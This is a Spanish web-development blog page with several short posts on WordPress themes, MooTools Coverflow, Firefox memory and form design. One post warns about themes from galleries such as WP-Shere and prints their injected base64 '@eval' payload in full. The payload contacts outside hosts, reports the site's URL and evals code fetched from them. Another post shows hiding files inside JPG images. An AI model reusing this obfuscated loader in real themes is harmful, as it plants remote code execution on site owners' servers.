aNieto2K Desarrollo web, Wordpress, y alguna cosilla más

Hace unos meses hablabamos del código malicioso que TemplatesBrowser.com injectaba en los themes que ponía a disposición de la gente. Con él, conseguian inyectar enlaces en los themes descargados de a forma de poder venderlos a terceros sin nuestro consentimiento. Algo muy controvertido y penalizado por Google (el Dios supremo en esto de Internet…).

Ahora descubro otro posible caso, digo posible por que no se han pronunciado los grandes de WordPress sobre el tema. Esta vez se trata de sitios como WP-Shere, que usan un sistema algo más escondido.

@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\LCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiw\
gJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICR\SNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3I\OyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMk\QwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1Qj\M5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRj\
EyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNT\BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIj\sgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OT\
cgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3OD\M2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJF\JEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgIC\
RSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cD\ovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLm\NvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waH\
/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXS\kgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0\hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRT\
kwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNj\U2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOU\I3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQT\
wOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMz\M1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNT\BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRk\
U5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdX\JsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG\9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIE\
ByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMT\E1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQk\MzMDkxNik7′));

La flexibilidad que WordPress nos proporciona a la hora de desarrollar un theme, tiene tambien su lado negativo y es que cualquiera puede modificar su interior y dotar de funcionalidades no deseadas themes que la gran mayoría de usuarios no se para a mirar. Es lógico que un usuario que quiere escribir y contar lo que hace cada día, sus inquietudes y problemas no tenga por que entender el código que hay por debajo del theme.

¿Como va a terminar este tema? Pues depende de nosotros, para empezar debemos de dejar de usar galerías de themes para descargar los themes para nuestras páginas. Las podemos usar para ver los themes funcionando, para comparar con otros, pero una vez decidido deberíamos ir a la página del autor a descargarlo de alli. Así tenemos una garantía sobre el theme que queremos usar.

Tambien hay que tener en cuenta que no todas las galerías de themes hacen esto, hay muchas que simplemente permiten ver una demo del theme y/o unas imagenes de él, para luego linkarte a la web del creador. Un ejemplo de ellas es FreeMinders.

Tampoco podemos olvidar que hemos de revisar el código, si trabajamos con WordPress debemos prestar atención a los themes, echarle un vistazo rápido al theme nos ayudará a entender como funciona y prevenir estos problemas.

Hoy me he encontrado con este post en el que nos enseñan un código que nos permite detectar si el usuario está usando firebug o no. 

if(window.console && window.console.firebug)  {
 alert("you are using firebug");
}

No he logrado hacer que funcionara bien, pero es que mi Firebug ya tiene mucha batalla y no funciona del todo bien. ¿Alguien me comenta que tal va?

Hoy Dani, me pasa este enlace en el que podemos ver una versión de Coverflow desarrollada en MooTools. Además de su ligero peso me ha sorprendido la sensación de fluidez que he percibido desde Firefox (no he probado con otro Explorador).

Código

//Javascript
var CoverFlow = new Class({
	options: {
		container: 'CF',
		slider: {"slider":"slider","knob":"knob"},
		caption: 'captions',
		reflection: 0.5,
		startIndex: 0,
		useMouseWheel: true
	},
	initialize: function(options){
		this.setOptions(options)
		this.cur = 0;
		this.tar = 0;
		this.curI = 0;
		this.oW = $(this.options.container).offsetWidth;
		this.sz = this.oW * 0.5;
		this.init();
		this.checker = this.check.periodical(100, this);
	},
	check: function(){
		//console.log("this.tar:"+this.tar+"  this.cur:"+this.cur)
		switch (this.tar < this.cur-1 || this.tar > this.cur+1)
		{
			case true:
				this.moveTo(this.cur + (this.tar-this.cur)/3);
			default:
				//$clear(this.checker);
				break;
		}
	},
	init: function(){
		$$(this.options.images).each(function(image, i){
			image.setStyle("display","block");
			image.addEvent('click', this.glideTo.bind(this,[i]));
		}, this);
		
		this.sli = new Slider($(this.options.slider.slider), $(this.options.slider.knob),{
			steps: this.options.images.length-1,
		}).set(this.options.startIndex);
		this.sli.addEvent('onChange', this.glideTo.bind(this));
		
		if(this.options.useMouseWheel)
			document.addEvent('mousewheel', this.scoll.bind(this));
	
		$(this.options.container).setStyle("height", this.oW*0.33);
		$(this.options.container).setStyle("visibility","visible");
		this.moveTo(this.options.startIndex*-150);
		this.glideTo(this.options.startIndex);
	},
	scoll: function(e){
		var d = e.wheel;
		if(d > 0 && this.curI > 0)
			this.curI--;this.glideTo(this.curI);
		
		if(d < 0 && this.curI < this.options.images.length-1)
			this.curI++;this.glideTo(this.curI);
	},
	glideTo: function(i){
		$(this.options.caption).set('html', this.options.images[i].alt);
		this.curI = i;
		this.tar = i*-150;
		this.sli.set(i);
	},
	moveTo: function(x){
		x = Math.round(x);
		this.cur = x;
		var zI = this.options.images.length;
		$$(this.options.images).each(function(img){
			var z = Math.sqrt(10000 + x * x) + 100;
			var xs = x / z * this.sz + this.sz;
			var imgH = img.height;
			var imgW = img.width;
			var percent = 100;
			if ((imgW + 1) > (imgW / (this.options.reflection + 1))){
				percent = 115;
			}
			var newL = xs - (percent / 2) / z * this.sz;
			var newH = (imgH / imgW * percent) / z * this.sz;
			var newT = (this.oW * 0.33 - newH) + ((newH / (this.options.reflection + 1)) * this.options.reflection);
				
			img.setStyle("left", newL);
			img.setStyle("height", newH);
			img.setStyle("top", newT);
			img.setStyle("zIndex", x < 0 ? zI++ : zI--);		
			
			x += 150;
		}, this);
	}
});
CoverFlow.implement(new Options, new Events);

window.addEvent('load', function(){
	new CoverFlow({
		images: $$("#CF img"),
		caption: $('captions')
	});
});
//HTML
<div id="CF">
	<img class="cfImg" src="img/refl_img001.png" alt="First Image" />
	<img class="cfImg" src="img/refl_img002.png" alt="Second Image" />
	<img class="cfImg" src="img/refl_img003.png" alt="Image" />
	<img class="cfImg" src="img/refl_img001.png" alt="Image" />
	<img class="cfImg" src="img/refl_img002.png" alt="Image" />
	<img class="cfImg" src="img/refl_img003.png" alt="Image" />
	<img class="cfImg" src="img/refl_img001.png" alt="Image" />
	<img class="cfImg" src="img/refl_img002.png" alt="Image" />
	<img class="cfImg" src="img/refl_img003.png" alt="Image" />
	<img class="cfImg" src="img/refl_img001.png" alt="Image" />
	<img class="cfImg" src="img/refl_img002.png" alt="Image" />
	<img class="cfImg" src="img/refl_img003.png" alt="Image" />
</div>
 

Si alguien se anima, me gustaría verlo con imagenes reales.

[Demo][Descargar]

Hace ya unos días de que el Congreso de Webmasters 07 terminó, y gracias a el gran Edu para los amigos ( HombreCandado para los «muy» amigos) descubro que una de las ponencias que más me gustó está disponible en SlideShare.

La ponencias de Cristian Van Der Henst (cvander), hablando de la importancia de las comunidades virtuales, de la importancia del usuario y de la relevancia que tiene como conjunto de una comunidad web, me pareció realmente interesante ya no se trata de una visión a nivel de programación y nos acerca un poco más a los usuarios

Actualización

Christian me pasa este enlace a YouTube para que además lo veamos en acción.

WTF?, eso pensé al leer este artículo que nos permite ocultar ficheros dentro de fichero .jpg sin que estos puedan ser vistos a simple vista.Veamos como conseguir ocultar esto:

Intrucciones 

1. Crea una carpeta con la imagen .jpg que quieras usar y los ficheros que se ocultarán.
2. Si quieres ocultar más de un fichero tendremos que comprimirlos antes en un fichero rar para que solo quede uno.
3. Abrimos el «Simbolo del sistema» y nos dirigimos a la carpeta con los ficheros que queremos ocultar.
4. Usaremos el siguiente comando para ocultar los ficheros:

copy /b <imagen original>.jpg + <nombre del fichero a ocultar> <imagen de salirda>.jpg
//Ejemplo
copy /b secret.jpg + hidden.rar logo.jpg

Resultado

Cuando compré el iTouch, me molestaba mucho tener los iconos ordenados de esa manera sin posibilidad de reordenarlos a mi antojo. Eso de tener que echar un vistazo para encontrar la opción no me acababa de gustar, así que me puse a buscar algo para solucionar este problema.

iOrder es la solución a todos estos males, se trata de una aplicación (para Windows) que nos permite ordenar las aplicaciones de nuestro iPhone o iPod Touch. Por desgracia, solo tiene las aplicaciones del source original y no tiene una forma fácil de añadir nuevas aplicaciones.

Continua —>

Hoy la he tomado con Firefox. Es un gran navegador y ahora con la salida de la nueva versión, las funcionalidades que aporta van a suponer una mejoría en la navegación bastante sustancial, pero consume muuucha memoria.

En mi caso

• Memoria del PC: 2.048 MB
• Memoria consumida por Firefox: 370 MB
• % de la memoria: 18%
• Plataforma: Windows XP (Actualizaré cuando llegue a casa con los datos del Mac)

¿Cuanto consume el tuyo ahora mismo? (A ver si el logo significa que se va a comer el mundo)

Memoria del mundo consumida hasta el momento (23/11/07 23:59 GMT+1):

7908 MB

Los formularios, detrás de los enlaces son los elementos que hacen posible la web. Gracias a ellos podemos comunicarnos con otras páginas, en las que podemos comentar, subir archivos e interactuar con el servidor desde nuestro navegador. 

Por eso debemos darle una especial importancia a la hora de implementarlos. Para ello seguiremos unas buenas prácticas que nos asegurarán que funcionen de la forma más óptima y correcta.

1. Formularios de una sola página.
2. Si hace falta pagina
3. Minimiza los datos solocitados
4. Usa ajax para mejorar el formulario, no lo hagas dependiente de él.
5. No seas muy agresivo con la validación javascript, guía al usuario.
6. Usa elementos <label />
7. Si puedes, mejora la estética de los <input type=»file» />